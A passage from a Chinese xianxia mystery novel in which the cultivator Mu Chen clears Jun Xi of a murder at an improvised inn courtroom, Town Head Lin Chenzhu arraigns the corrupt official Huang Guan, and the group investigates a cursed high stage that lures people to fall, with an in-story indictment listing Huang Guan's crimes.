一句过后又陷入了宁静。被烛光照耀着的昏暗的光线,看不清每个人的面色,说不明每个人的心思。林宸珠开口先让不相干人等在外等候,例如目击者,例如仵作——结果只剩下他二人。
慕沉静观其动作,站起身,越过她走向对方身后的圆桌旁坐下,作出“请”的手势。林宸珠视线随他移动,一下子就明白他的意思,坐在另一张椅子上。
原以为遣退众人后她会说些什么重话,没想到林宸珠反问道:“慕仙师觉得如何?”
“什么如何?”慕沉被她不明就里的问题迷惑。
“黄观、君谿,或是这家客栈,或是白沙镇,或是……我。”
他没有马上回答,而是想了有一会儿,才说:“在我的眼里,君谿是一个机敏聪慧的少年,他知道什么事做与不做,知道分寸,以至于如今有人说他不分青红皂白杀人,我是不信的。黄观……黄大人不分场合责难他人,姑且认为他是失子心切——我与他是第一次见面,也看得出他并不是好相与的。林镇主你的话……”
慕沉顿了顿,抬眼望着她,发现林宸珠的视线一直是瞄准他的。对方攥了攥手掌,正襟危坐地聆听着。
他不免得一笑,接着说:“不论是对待来客,或是与一些掌权者周旋,礼数都拿捏得十分周到。到这里我认为这是身为镇主的必要能力,也就不夸张了。这样也就罢了,可就算是普通的老百姓,也愿意信任你,选择你,不会对你有所防备,这才是让我最钦佩的。”
“!”林宸珠有些惊讶地看着他,不知所措地开口,“慕仙师抬举我了,您何以见得,百姓对我信任非常?”
“还记得吗,郊外的那座屋里,有一人清醒过来。他醒后的第一件事就是向你禀明,向你求救。当时聚了那么多人,为什么偏偏是你?姑且当作是因为你是镇主,是主心骨吧,但是过了今天我才更加确定。”
“为什么?”
“那位人证,他刚刚没说下去的话,大概是‘这些权贵都是一副德行’,‘会被他们灭口’之类的吧?我很好奇,明明是君谿一人,为什么是‘他们’?想通之后我就知道这指的是‘君谿’这一类人。至于君谿是什么人呢,是‘新贵’,是镇中的权贵。人人皆知,身为镇主的你自然是镇中最大的权贵。他话没说完,我猜是因为看见了黄观,这分明是懂得祸从口出的。他不敢当着黄观的面说那些话,却不避着你。我想这一切镇主应当是心知肚明的。”天色渐白,慕沉的眼眸显得更加深沉,嘴角却仍带着笑意,“林镇主何必谦逊?我虽不是一个爱对他人评头论足的人,可我觉得,作为一个镇主,能做到这个地步,你真的是问心无愧了。”
“问心无愧……”林宸珠呢喃着,然后对他微微一笑,“我只是觉得这是我分内之事。”
这笑容在慕沉看来倒有点牵强的意味。“林镇主这么想,不更是说明了你是位好镇主吗?”慕沉轻声说着,“说了这么多,也该继续办案了。”
林宸珠反应过来,面色认真地点了点头,问道:“慕仙师可有思路?”
他站起身,走到窗前,初阳微光照射到楼前街道的每一个角落,全都映入眼帘。他自然而然地看向对面高台下的那块空地,便很快意识到这里场景是多么的熟悉。
他是第一次来到这家客栈,不,其实算是第二次,第一次是在摄魂阵里。
此时正好瞥见街道上朝客栈靠近的人影,慕沉转头对林宸珠说:“关于黄公子我了解的太少,我虽不清楚杀害黄公子的动机为何,却是能证明不是君谿所为。”
“足以。剩下的自然由专人来查。”林宸珠打起精神,拍案敲定:“恰好东曦既上,慕仙师既已有证据,便可开堂问审。来人——”
她吩咐下属做准备工作,办事效率显而易见,直接将客栈一楼大堂简单整成衙门公堂的模样,就像是以前也这么干过。“此处距衙门少说要半个时辰车程,耽搁时间在这上面也是浪费,将客栈作为临时衙门也算天时地利人和。”对慕沉解释之余不忘提醒下属:“传召黄观前来听审。”
慕沉有些稀奇地打量着对方,从古至今都没见过这种受案方式,对林宸珠的认识又增加了。
“开审之前,我想问你一个问题,为什么如此在意为君谿脱罪?”他问。
林宸珠会心一笑:“毕竟君公子是‘新贵’嘛。慕仙师应当知道,虽身为镇主,我却是身不由己。”
慕沉一愣,也是没忍住嘴角微扬。没想到让她猝不及防就开了个玩笑。
公堂之上,林宸珠身为审案官,自然而然坐落于主座。黄观赶来时早已破晓,黑着脸色在慕沉的对面坐下。公堂之下,往往需要一些听众,而往往最不缺的就是看热闹的人。
这案子虽发生在夜里,动静倒是不小,附近的居民说不准早就听说了,只不过因为宵禁不敢随便出来。他们甚至可以放下手头上的工作,站在守卫的界限之外,议论纷纷。由于他们都没见过慕沉这个新面孔,其中不乏讨论慕沉到底是什么身份,竟能和黄观平起平坐。
黄观的眼神扫过四周,好似想在人群中寻找某一个人,却并没有找到,于是蹙眉道:“君谿若是不在场,难不成要审空气吗?”
慕沉也想到了这点。公堂之上最不可或缺的就是嫌疑人,而他只是为了洗脱君谿的嫌疑,并不是为了定罪,没必要搞大阵仗,特意弄一个“衙门”出来。况且就算真的有必要,君谿确实理应到场。个中缘由恐怕只有林宸珠最清楚了。
“黄大人,你也知道君谿目前不知下落。”林宸珠眯了眯眼。
“那是你的人办事不利。”黄观咄咄逼人,“我看——”
“黄大人稍安勿躁,”慕沉突然开口打断,“在下冒昧插手查案只为洗脱君谿嫌疑,就算他今日在场,最终还是会无事发生。黄大人大可亲力亲为,将真凶捉拿归案,为令郎讨个公道。”他好像对谁都是这副模样,带着笑意,客客气气的,不想拂了所有人面子,声音倒是十分有气势,让人也轻易不会给他脸色。况且真正了解过他的人,根本不敢给他脸色。
黄观看了他一眼,挑了挑眉冷哼一声:“你好像很有把握。”
“这是自然。”慕沉微微颔首,眼神示意林宸珠,“可以开始了吧?”
林宸珠点点头,大喝一声:“肃静!”
一瞬间,外围百姓的激烈讨论声消失,大家纷纷把注意力集中在公堂内。
“嫌犯未到场,便有请证人,也好公堂论罪。”林宸珠抬手,那位客栈的小厮就被带到众人面前。
秉着公平公正公开的原则,胡阿华将自己半夜里的所见所闻
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重新讲述一遍,让围观的百姓了解。
“人证在此,这君府只有一位公子,别说在场的诸位,恐怕有至少半个镇的人都见过君谿的模样。还能有何辩驳?”黄观目不转睛地盯着慕沉。
“阿华兄弟,你说你当时看到君谿将黄思裕胸口处的剑拔出,却并没有说看见君谿是如何把剑刺入黄思裕胸口,这并不能证明一定是君谿杀了他,不是吗?”
“这……”胡阿华一时语塞。
慕沉语毕,群众皆哗然,看来他这一番话并没有什么说服力。谁这么闲大半夜不睡觉跑去把凶手留下的作案工具带走?除了凶手,实在没理由是别人。
群众所想亦是黄观所想,他眉头一跳,冷哼道:“这位慕道长,你在玩文字游戏吗?牵强附会,这便是你成竹在胸的理由?”
慕沉不急不慢地抿了一口茶,淡淡一笑。
“我的物证早已恭候多时了。那位长官,请把我交代你寻的东西呈上来吧。”他扭头看向其中一个侍卫,正是昨夜里吩咐的那位。
侍卫拿着一个不长不短的盒子,正当大家在疑惑里面装的是什么的时候,他已经在众人的凝视下打开了它。里面一前一后摆放着一柄长剑,准确来说,是断了的长剑。
当时仵作验明伤口处为剑伤时,慕沉便有所应对了。
“此剑乃是君谿的佩剑,早在林镇主散宴之后就已被人砍断成两截。”慕沉说着,侍卫拿着盒子走了一周,最后呈到林宸珠面前。
“这位长官可否替在下说明此剑是何处寻得?”
侍卫朝坐着的三人作揖,解释道:“慕仙师昨夜吩咐下官,下官带了一队人马在城郊的一处偏僻小道寻得此剑。除了这柄断剑,还在附近找到一个可疑的人。”
“哦?”慕沉淡笑,此人不用猜也知道是被他打晕的将领。
“你说的可疑之人应当就是将这柄剑截成两半的人。可与他对峙,证明这断剑是他所为。”慕沉解释道,不过,“此人与此案无关,若是林镇主想知道有关此人的更多细节,不妨等在下将君谿的嫌疑洗清,再说不迟。”
林宸珠与他对视一眼,点了点头。
“君谿的剑是在我眼皮子底下断的,况且断剑还留在原处。既然如此,又怎么用剑杀人?”
“他难道就不能拿旁人的剑吗?”黄观质疑道。
“黄大人是在怀疑,有人把自己的剑给他,让他随意支配吗?别说赠予了,换做黄大人你,会愿意借他吗?”慕沉失笑反问一番,显然是自信不疑。
林宸珠睨了黄观一眼,补充说:“黄大人慎言。刀剑一类的武器并不多见,大都是修行人家所配,而这些武器受律法管制,不得随意使用,若牵连百姓性命,后果不堪设想。况且黄大人自己也说过,白沙镇不搞江湖那套。因此黄大人所言,根本是无稽之谈。”
围观的百姓议论纷纷,大多数都被慕沉的依据打动,不过他们都是来凑热闹的,他们相不相信也没用,最终还是要林宸珠的一句话定夺。
所以说这才是慕沉想不通的点,为君谿脱罪仅仅是林宸珠一句话就能解决的问题,只需他加以证明,找出真凶即可,何必要多此一举,办一座公堂来兴师动众?而且看样子并不着急于抓住真凶。而身为镇主,不可能不清楚此案的轻重缓急之处。
因此,林宸珠要借此案大做文章。或者是为了别的事情顺水推舟。至于她究竟想如何,待他顺利将君谿的嫌疑洗脱,便会分晓。
28. 引入瓮问罪公堂
公堂之上,似乎所有人都在等林镇主的一句话一锤定音。百姓们两头都不站,无论君谿成功洗脱罪名与否,这些上层人物争锋相对才是百姓喜闻乐见的。
“这些全凭慕道长一张嘴!”黄观面色有些难看,下意识拍了一下桌子,“就算如你所言,君谿又为什么出现在案发之地?不能给本官一个合理的解释,本官是不可能善罢甘休的!”
“是啊,我认为黄大人所言也不无道理。毕竟君谿出现在那里本身就理亏了。”慕沉顺着他的话说下去,“可倘若——”
“镇主。”一名军官从百姓让的道中疾步上前,恭敬道:“有两位自称慕仙师师侄的人请见。”
慕沉蓦地被打断,微微一愣。听见这名军官所言,心笑这两人来得还挺及时。
“速速有请。”林宸珠快速回应着,结果还没等人退去领命,黄观适时抬手:“且慢。”
他扫视林、慕二人,越看越觉得他们是一伙的,冷漠地质问:“叫他们干嘛?给你撑腰的吗?”
还真是自乱阵脚,话都随便说了,慕沉忍俊不禁:“黄大人说笑了,在下替他们撑腰尚可,哪有反过来的道理?我师侄二人应当是最后知晓君谿去向的二人。”
军官一时间左右为难,想起自己是照镇主吩咐办事,立马下去请司马锋和王政乐二人。
黄观也意识到自己口不择言,装咳一声掩饰窘态,方才开口:“最后一个看见君谿的人不是那个胡……那个小厮吗?”
自己的名字骤然被提到,胡阿华不由得一个激灵,微微颤颤的,内心咆哮:该说的都说了,我什么也不知道啊!
此时师兄弟二人走到堂中央,拱手作揖:“慕师叔,林镇主。”
司马锋转身面朝黄观,诚挚道:“听闻黄大人痛失爱子,还请节哀顺便。”王政乐在旁随声附和:“节哀顺变!”
“不曾想君谿竟牵扯进此次事端,因而我与师弟前来,说不准能提供什么线索,早日查清真相。”司马锋向众人说明来意。
“也好。”林宸珠点点头,继而询问,“慕仙师可否继续刚刚的未尽之语?”
“哦,我刚刚想说的是,如果胡阿华看到的人不是君谿呢?”
与其解释人不是君谿所杀,倒不如直接否认胡阿华看到的人是君谿,从根源上解决问题。
“这怎么可能?”黄观嘴比脑子快,闻言眉头紧皱,然顺着慕沉的说法这么一过脑子,想到一种自己都不敢相信的可能。“你是说有人——”
他的声音戛然而止,表情显得严肃起来。看来是快要说服了自己。
“是啊,”慕沉淡定地接过他的话茬,“有人扮作君谿的模样,杀了令郎。”
此言一出,围观群众亦是听得一清二楚,纷纷骚动。有些看守场地的侍卫听后也是一惊,但碍于职责在身,还是按耐住了,维护起了秩序。至于他的两位师侄,自然是无条件相信他,也就不稀奇了。而林宸珠,依旧正襟危坐,面不改色地听着,倒是让他稍感意外。
“稍安勿躁,我这就解释这样的想法不是凭空而来。”慕沉问他的师侄,“你们二人可还记得最后见君谿的时间?”
王政乐抢着回答,却讪讪一笑:“不记得了。”
司马锋无奈地看了眼身旁的小师弟,转而恭敬回答:“很巧,寅初一刻,正值五更天。打更人敲完了最后一更。”
其实慕沉自己一人就能够自圆其说,他师侄二人不过是锦上添花,更显得有理有据了一些。
“那还真是挺巧的,”慕沉笑了笑,“现在也不过卯初一刻。林镇主还记得吗,你我二人得知此消息之后赶来的路上,我感慨了一句……”
“这距离确实遥远。”林宸珠反应过来,客观道,“此处位于镇北,而官员府邸一带——不包括他们私下买的宅子,地处西南,来回一趟少说一个时辰。”
“就是这个意思,我们当时得知这个消息的时辰大约是寅初四刻,除却军官赶来上报的时间,君谿是如何在这短短的一刻钟从西南跑来镇北呢?”
“确实不大可能。”林宸珠思索着。
慕沉叹了口气,摇了摇头道:“不是不大可能,是根本不可能。要想做到短时间内远距离穿梭,据我所知只有两种办法。一种是设下阵法,不过要提前筹备,且会留下痕迹,可我在案发之地并没有感觉到有任何术法或是灵力的残留。”慕沉说的没用便是真的没有,他的能力毋庸置疑。
“那另一种呢?”黄观及时问道,万一另一种君谿办得到呢?
慕沉看向黄观,意味不明地笑了一下。“另一种只能是鬼了,毕竟鬼是无影无形的。不过还是就当一个玩笑话听听吧,这世上本没有鬼。”
“……”黄观一脸黑线。
“这么说……慕仙师其实一早就清楚?”林宸珠仔细回想他当时的反应,确实没有表现出焦急的样子,显然是早有分寸。
他感受到黄观错愕地看着他,一时间众人的视线都聚焦在他身上。可即便如此,慕沉维持笑意,“也不能这么说。毕竟刚开始我还是有点没底的,直到阿华兄弟的第一番说辞,我便八九不离十了。”
“啊……为什么这么说?”胡阿华犹豫不定地问他。
“你说过客栈的营业开张需提早做准备,想必是听见了打更声后才来客栈的吧?这期间应当用不着一刻钟的。”
“大人英明。小的来客栈就听见三楼有动静,直接上了三楼
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。”胡阿华鼓起勇气,避开黄观探究的视线附和着。
“既然如此,真相已经明了。”林宸珠提高音量宣布道,“黄思裕一案凶手另有其人,君谿无辜受牵连,假以时日抓住真凶定当严加惩治。”
“场面话也说完了,我儿既然不是君谿所杀,那加派人手捉拿真凶是不是也该提上日程了?”黄观站起身,看样子是要离场了,也顺带着围观的百姓散开一些。
“那么,林镇主,告辞。本官也该到司所上任了。”
“慢着——”林镇主叫住,似笑非笑地看着他,语气却不容质疑,“案子还没处理完呢,黄大人。”
众人目光下意识移向林宸珠。慕沉眉头一挑,很快又恢复了正常的神情。
人群还没散尽,留下来的人一听还有后话,立马叫住自己的亲朋继续围观。
“这不是已经结束了吗?还有什么要审?”黄观转头,定住脚步一愣。
“本镇主岂能不知公堂上不可缺少嫌犯?从始自终要审的就不是君谿,而是你,黄观。”林宸珠变得严肃起来,“若是不拿这件事当作诱引,你又岂会入堂?”
众人皆是一惊。这官场里的勾心斗角居然放到明面上来说了,接下来岂不是要……
黄观蹙眉,还没有把这当回事。他嗤笑一声,才道:“真是荒谬。本官无罪可审。”
“无罪?黄大人可真会说笑。”林宸珠皮笑肉不笑地看着对方,拿起桌上最上面的一份公文,扔向黄观。“罪名数项,需要本镇主替你念念吗?”
黄观接住公文,打开随意浏览了一下,顿时脸色铁青。
好一会儿,他将公文撕成两半,“啪”地一声扔在地上,咬着牙说:“荒谬至极。林镇主,在这个位置待久了,可别忘了是怎么来的。做人最好不要忘本。”
“本镇主一时也不敢忘。”林宸珠“呵”地冷笑一声,“正因如此,才要时刻注意身为镇主的‘分内之事’啊。”
话到这个份上,就算慕沉不明白他们先前的经历,却知道黄观此刻已经破罐子破摔了。
都是聪明人,哪会不懂接下来会发生什么。无形硝烟的弥漫,激起了在场所有人包括观众的强烈欲望!
一场没有嫌犯的公审落幕,另一场精彩的戏剧才刚要上演。林宸珠特意将案件公开,为的就是将事情闹大,最好到人尽皆知的地步。而百姓也是不负她的想法,要审的是一个大官,未曾有过的先例啊,一定是让人热血沸腾的!都来看都来看!把所有邻里亲朋都叫来!
一传十,十传百……可惜客栈还是太小了,半个镇,不,整个镇的人都想、都必须要观摩这场伟大而振奋人心的演出!
不是她死,就是他亡!
29. 俯高台阅尽人间
“别挤我!”
“让我看看……”
百姓们推推攘攘的,争相堵在公堂外围,连二楼镂空的栏杆处也围满了人,客栈人流从来没有到这种程度,比方才审黄思裕一案更甚,还没开始审黄观就已经人满为患。定然是人传人,听到了什么消息,皆来观摩这场盛景。掌柜的嘴角笑开了花,见机表示进入客栈需要收点费用。
只是还没开始实施便被管理秩序的军官喝止:“掌柜的,你这是当着镇主的面公然收受赃款,是要蹲大狱的。”
军官正直凛然的神情吓退了掌柜,连忙表示:“不敢不敢……”便赶紧溜到一旁,也跟着看热闹了。
一阵插曲,众人纷纷屏息凝神地聚焦在公堂上,期待林镇主将黄观绳之以法,光是想想就大快人心!
司马、王俩师兄弟已经到慕沉身边,听他接下来的安排,他低语说:“先找到君谿,其余的——”
“算了,”他顿了顿,面色认真道,“不用去找他了。”
“够了!林宸珠!”黄观恼羞成怒地瞪着坐在主座上气定神闲的人,怒吼道,“你有什么资格审判我?!”
“来人,带上来!”林宸珠未答,抬手一挥,底下的军官便将一个五花大绑的人带进来,样子有些狼狈。
慕沉定睛一看,正是那个把他们带到小道里的军队首领。
黄观低头看看身旁押在地上的人,脸上的错愕都快掩藏不住。
“噗嗤”一下笑出来,林宸珠冷眼相看,饶有兴味地问:“见到老熟人了,怎么不寒暄两句?”按理说公众场合不应该说这种带有私人情感的话语,可她到底是没忍住。
“李择秉,身为巡查官,不在岗就职,私自调集守卫,意图谋害贵客,人证物证俱在,已经被本镇主核实抓获。”林宸珠又恢复正色,声音洪亮让在场的每一位都听得一清二楚。“黄观,你二人相互勾结,暗通款曲,可认罪?”
“不认。”
“认罪。”李择秉低着头哑声说。
“你说什么?!”黄观惊愕地看着身旁的人,难以置信后退了半步。
“那就无话可说了。”林宸珠作势抬手,将人带下去。
“慢着——”黄观神色复杂问道,“李择秉,你什么意思?”
话音刚落,李择秉才抬起头与之对视,但到底还是什么都没说。
就这么沉默了几秒钟,黄观眯了眯眼,沉声道:“事到如今,我不认也无济于事。”态度与方才大相径庭。
“带下去,押入牢房。”
此事算正式告一段落。刚才还不敢大气出声,目睹了全程的群众此刻终于惊呼声连连,真是精彩万分啊!可惜就是李择秉认罪太快,有些人还没跑来就已经结束了。
群客俱散,独留林宸珠与慕沉师侄三人。
“让几位仙长见笑了。”林宸珠叹了口气,“事发突然,未能及时提醒诸位,见谅。”
“倒是无妨。”慕沉笑眯眯看着她,“林镇主,醉翁之意不在酒啊。”用不了几天,这件事一定会人尽皆知,届时,有了这个先例,之后要再做什么,林宸珠就容易多了。
林宸珠愣了一下,便笑出了声,“慕仙师是在怪我利用了您吗?”
“谈不上利用。”慕沉摇了摇头,“林镇主接下来可有安排?”
“中……中邪了!”
此时几人还在客栈内交谈,门外突然传来一阵惊恐的尖叫声,慕沉大感不妙,他们朝门口跑去,一群围观的人全都抬着头看向某一处,私下议论纷纷。
慕沉随着他们的视线,看到了一座特殊的建筑。
一座高台,比客栈的三层楼还高出一截,就在客栈的斜对面,隔了一条街。上面只有几个零散稀落的围栏,破烂不堪,似乎很少有人踏足。可现在上面站着一个人,就在高台边缘摇摇欲坠,若是从那里跌落,摔不死也会半残。
这个人正是今早还在公堂内作为目击者的胡阿华。就在他们出门的刹那,并不等任何人做出反应,胡阿华已经从高台上跌落。
几人赶忙上前,林宸珠皱着眉头问道:“怎么回事?”
众人见到镇主,纷纷恭敬退避,其中一人描述道:“刚刚看他还好好的,突然就走到高台上这么摔下来,谁都拉不住,已经跳两次了!”
“这是魏霜林的报复!”
不知有谁大喊了一句,激起了围观群众的恐慌。
“遗志!遗志是真的!”有人联想到什么,提醒道。
“安静!遗志一事本镇主会调查清楚,给诸位一个交代。莫做多余的担忧。”林宸珠严肃认真地向众人答复。
百姓一听林镇主已经出面表率了,便停止住了言语。
说话间,胡阿华有些艰难地爬起来,任谁看了都知道伤得不轻,一瘸一拐地一步步又走向高台。
慕沉在楼梯拐角处拉住他,确实如其所言,十分执拗地仍要走上去。才发现胡阿华双目无神,瞳孔都没聚焦,倒真像是他们说的中邪。这个“邪”的最终结果,就是胡阿华从高台上摔死。一次不成,就多几次……只要他还能走,还能爬……
人群已经被林宸珠疏散,司马锋适时吹奏起了清心曲企图唤起胡阿华的清醒。好在确实起到效果,胡阿华停住脚步,在恰当的时机晕了过去。
林宸珠安排人手将人抬下去照看。
“这座高台似有蹊跷,林镇主可否告知……”慕沉边走边说,忽然余光瞥见,高台上还有一人,他瞳孔骤缩,呼吸一滞,下意识朝高台下方跑去——
君谿不知何时、为何会出现在这高台之上,仰面朝天直直跌落。
慕沉来不及想这么多,好在他反应过快,下一秒跌落的人已然稳稳落在他怀里。只是冲击力太大,慕沉半跪在地面才得以缓冲,护住对方的头部已然是万幸。
“师叔——”
“师叔!”
“君谿?!”
所有人都被吓了一跳,着急上前,将二人包围住,担忧的眼神溢于言表。
君谿并没有失去意识,他眼神涣散,但并没有到胡阿华的地步,慕沉等他缓过神来。
半晌,他皱着眉问:“可有哪里不舒服?”
君谿双目回神,一看到慕沉的脸,闪过一丝惊喜,而后赶忙摇头,与他互相搀扶着站起来。十分歉意着说:“连累先生了。”
“没事。”见他看起来不无大碍,慕沉稍稍松了口气,问道,“你怎么会在那里?”
“我听说了林镇主审公堂一事与我相关,想着先生在此处便赶过来,结果看到刚刚被抬下去的那名小厮有问题,引起周围的骚动,便上去探查一番,没想到刚靠近围栏就不受控制……”君谿揉了会额角,对众人解释。
慕沉稍加考虑之后,便也打算上去看看。
还没走几步,君谿知晓了他的意图,拉住他担忧地阻止:“先生,别……”
“别担心。”慕沉拍了拍对方的手,执意地走上台阶,同时提醒身后的人,“你们就别上来了。若同时中招,便不好应对了。”
司马锋点点头,拉住往前走的王政乐和君谿,同时对林宸珠说:“镇主,还请下令将此处暂封,以免有更多无辜者受牵连。”
“嗯,正有此意。”林宸珠看了眼身后的亲信,对方立马反应下去办事。随即林宸珠严肃道:“若是真有邪祟作祟,烦请诸位帮忙,本镇主定当重谢。”
“镇主客气了。这是我等分内之事。”司马锋稳重道。
慕沉越往上走一级台阶,越觉得不对劲。这分明就像是在牵引着他一步一步到高台之上,尽管他现在控制得住不被干扰。
一直到……一直到……高台的正中央,像是巨大的舞台,而他就是舞台中的主角,所有人的目光仿佛都会聚集在他的身上,然后对他评头论足指指点点。
他要怎么做,才能离开,才能回到视线的阴暗处?怎么做,才能逃避所有人的议论?只要离开舞台,只要当着所有人的面,踏出栏杆,只需半步就——
区区雕虫小技。
下一刻他已经恢复了清明,朝高台之下时刻关注他的人微微一笑。大伙神经兮兮地望着他,蓄势待发,发现他没如君谿一样被干扰后便放下了心。
这空旷的平面上处处布满灰尘,想来是荒废了有段时间。观察四周倒是没什么特别的,值得注意的是破烂的栏杆很低,还不足膝盖处,难怪容易摔下去。
总觉得漏掉了
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什么,他自然而然地看向了对面的客栈。那间厢房窗户还开着,若是什么都还没处理,甚至能看见里面躺着黄思裕。此刻已经被打扫得干干净净。
……不止这一间,里面的布局甚至都能一览无余。
稍加转念一想,既然这里能看见厢房,那么反过来,厢房内的人岂不也是将这高台之上可能发生的一切尽收眼底!这两者之间,多么微妙的关系啊。
不觉得一切是那么的凑巧吗?
栏杆上有一抹深褐色的痕迹,只有指甲盖大小,像是木材被虫蛀坏,也可能是方才胡阿华留下的血迹,此刻干涸了,他没怎么留意。没再看到什么有用的信息后,慕沉跨过栏杆,从容地一跃而下。
这一举动让下面的人有些猝不及防。许是君谿遭了这么一回后,忘记了他是有功夫在身,他们竟是条件反射地想接住慕沉!不过他才不想,轻功一蹬,离他们一丈远的地方稳稳落地。众人深吸一口气,短时间内他们实在经不起第二次吓了。想来自己也亲身体会过,君谿倒是十分淡定,不急不慢地与大家一起靠近他。
“先生没事吧?”君谿关切地问。
他张开手让其打量,笑了笑说:“你看我像是有事的样子吗?”
“师叔可有发现?”司马锋问。
“我猜想不错,这高台确有蹊跷。这上面被人设下阵法,从楼梯开始便步步引导人到栏杆处直至跌落。普通百姓很容易中招。”说着,慕沉便看向君谿,不合时宜地打趣道,“怎么这么不小心?依我对你的了解,你应当不会着了它的道才对。”
大伙的目光齐齐移向君谿。在场的诸位哪个能没点修为?
君谿被盯得发毛,面颊微红,有些不好意思。他干瘪地解释道:“我有些着急,就……”
“确实,心神不宁之人也容易被它影响。”慕沉笑眯眯地点头,立马给了一个台阶,随后又收起表情问,“林镇主,我方才还没说完的是,这里之前是做什么用的?又经历过什么,变得如此荒废?”
话音刚落,林宸珠的表情似乎不太好看。她没有马上回答,而是反过来问他:“慕仙师为何如此问?莫不是有什么关系?”
“我总要先知道这里发生了什么。林镇主,不瞒你说,我先前还没什么头绪,上去一趟便有了几分猜想。随我来。”
慕沉带他们回到客栈,在掌柜的答应下上了三楼。黄思裕遇害的那间厢房可谓是一尘不染,按理来说案件还没结束,真凶还没找到,不应该处理掉现场。不过这都不是重点,他走到窗前,示意众人看向外面。
有了这一出,大家视线自然而然落在对面的高台上。
“真像一个戏台!”王政乐没什么心眼,心直口快道。
林宸珠脸色不太好看。望着远处的高台,她不知是想起来什么,她不愿提起的事。
“这确实是一座戏台。”林宸珠总算开口承认,“至于为什么会建造得如此高,是因为下令建造之人自诩不凡。”
他们说,普通平民怎么能与我们这些权贵平起平坐?也没有资格看戏。于是将戏台建高一点,再高一点……高到这些平民看不见为止。
可没有观众席,他们也看不见呀。
你说好巧不巧,戏台刚好就比客栈三楼高出一小节。他们将客栈三楼往上的楼层全部据为己用,除他们这些权贵和客栈的佣人外,禁止任何人上楼。而上面的每一间厢房,都是观戏的绝佳雅间。
没有人敢反对,没有人敢提出怨言,这座专属于权贵的标志,就这么诞生了。
他们每天都在看,看了好多场戏,百姓们听见声音了,只能抬头仰望戏台,却看不到任何戏景。然后俯视着地面上的平民,讥讽地看戏。
多么自视甚高的他们!
林宸珠目光注视着高台的某一处,就像是在回忆什么,亦或是想象权贵们昔日是如何阅览全局的。
客栈很高,几乎可以看见北边整个商区。他们眺望戏台的同时,是不是也可以俯瞰人间百态的戏?就好像他们已经把人玩弄于股掌之间了。
可之后有一个人,改变了这一切,让戏台变成了如今的废台。
她问:“慕仙师,你如今觉得,白沙镇如何呢?”
30. 附录
司刑罚吏主黄观罪状书
注:案件由轻至重,若存在同谋共犯另加以注释。
其一【已证实】
罪行:为官数载,品行不端,逼良就范之事不下五起,其中“杨姣人坠华楼”一事足以立案,反响激烈,民声怨道。
罪名:□□罪,强迫罪,伤人罪
处理结果:私下和解赔偿十银
注:经调查核实,因其乃镇中名门望族,且司吏主之职,仗势欺人,数名被害人员被迫与之达成协议,遂不了了之。
其二【已证实】
罪行:推举迁官之际私下受贿,举不廉不义之徒为己用,意图混乱白沙镇之官僚律法;身为刑罚吏主,行官职之便,私下扣收民饷、民税数年之久,总计万两白银之上。
罪名:贪墨罪
牵扯官员、贵胄:吏官主事王齐铨及其王氏一族,司财税吏主关越蒙及其下级吏官一众
处理结果:适才得以证实,暂未处理。若干士族同流合污,依照白沙镇律法当查明账目,抄家充公,革职罢免。
注:因其苛捐杂税,民怨四起,仗其镇中势力庞大,民众敢怒不敢言,故而镇主未得实质证据,无法公然开罪。
其三【尚有疑点】
罪行:与镇中权势人物勾结,设计杀害镇主之子魏霜林,并且造生事端,镇中百姓水深火热,民心不稳。
罪名:谋杀罪,滋事罪
牵扯人员:主谋吏官主事王齐铨(存在疑点),同谋巡军将领李择秉
处理结果:存在疑虑,暂未处理。因牵扯甚广,需秘密处理,唯恐
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引起民乱。
注:民众因“天怒”一事人心惶惶,随后魏霜林自刎而死仍未平息,【遗志】被用来大做文章,背后真相仍待调查。
其四【已证实】
罪行:暗中调集兵力,意图与邻镇来客发生正面冲突,将外派系牵扯至白沙镇,陷白沙镇于不义。
处理方式:当庭问罪。
牵扯人员:白沙镇各大势力贵族代表人物
注:此举若是成功,即为破坏七镇之间的平衡,各派系不得善了。得镇主率先识破,将相关人员暂安置于镇主府。
综上,司刑罚吏主黄观作恶多端罪名数项,罄竹难书,需严惩以示民众,将其罪行公示于众。因其三其四牵扯甚大,需待镇主忖量再做处理。
录入人员:司律法吏主沈墨清
31. 海底月是天上月
“你认为我的看法重要吗?黄观说的一点也不错,我只是一个外来客而已。”慕沉平静地注视着林宸珠,“林镇主,你不是早有答案了吗?”
“是啊。早就有了……”林宸珠喃喃低语,十分认真地注视着那座高台。她是在确认。
慕沉静静地观察着对方的神色,尽管藏的很好,可还是从她眼底看出了愤懑。
“也许这一切的一切,都来自于‘魏霜林的复仇’?”不过一天,就突然发生了这么多事,恐怕都要忘记,最开始来白沙镇的目的,是找到被隔离在郊外的百姓精神失常以及失踪人口的真正原因啊。
明里暗里的,似乎都在告诉他,这些事与魏霜林脱不开关系。比如最开始出现在城郊,不由分说就手刃了王齐铨,据说还是这里的权贵之首。
再者就是胡阿华从高台上跳下来,虽说没有证据表明是魏霜林所为,但围观的人群为何会提到他,有待调查。而黄思裕之死才是真正意义上的“复仇”。
也许昨天晚上,死的人本不该是黄思裕呢?
慕沉通过摄魂阵,进入了很多人的回忆,其中不乏有王齐铨之子王缎。昨晚他就发觉,案发之地的那个雅间正是王缎时常出入的雅间。凶手若是想杀一个人,何必大费周章到一个客栈杀人?必然是此地能寻得到要杀的目标,且死者对此地十分熟悉,亦或者,此地十分特殊。
倘若贵族间是利益关系,那么没有利益的平日里必然不会有什么交集,他们是自视甚高的,一个雅间只能有一个常客。如此看来,黄思裕成为替死鬼的可能性很大。
他问君谿:“这个房间有谁的地盘吗?”
“王缎。王主事之子。”君谿不假思索地回答,“他曾邀过我来此处,不过我不想与之为伍便拒绝了。我还奇怪为什么黄思裕会死在这里。”
君谿骤然瞪大双眼,反应过来:“先生的意思是——”
经此回答,慕沉更加确信了自己的判断。他点点头,说:“暂且说是魏霜林,他昨晚想杀的人应当不是黄思裕,而是王缎。凶手没能得逞,你们觉得他会他会善罢甘休吗?”
“这么说,他还会再行动?”林宸珠顺着他的想法说下去。
“若是所谓的复仇,这还远远不够。”慕沉表示,“他势必会卷土重来。只需等待便是。”
“师叔,高台上的阵法可否破解?”司马锋适时向他提出问题,这阵法听着邪门,毕竟事关人们的安危,还是尽早寻破除之法为好。
“若是说那个能扰人心智的阵法,确实可以轻易破解。可它与高台正中央的阵法相连,若单单只解除它,不久还是会重新形成——”说着,慕沉示意他们看那处中心,是戏台上废弃的小圆桌,桌子摆放了一个旧香炉,此刻竟燃着三柱香。“只要中央的阵法不破,那么此处就无解。”
“刚刚还没有这个桌子。”王政乐皱着眉头说。
“是啊,因为我们现在在‘它’的幻境里。”君谿平静地解释,“他这是在提醒我们,不想我们干涉。等香灭了幻境就散了。”
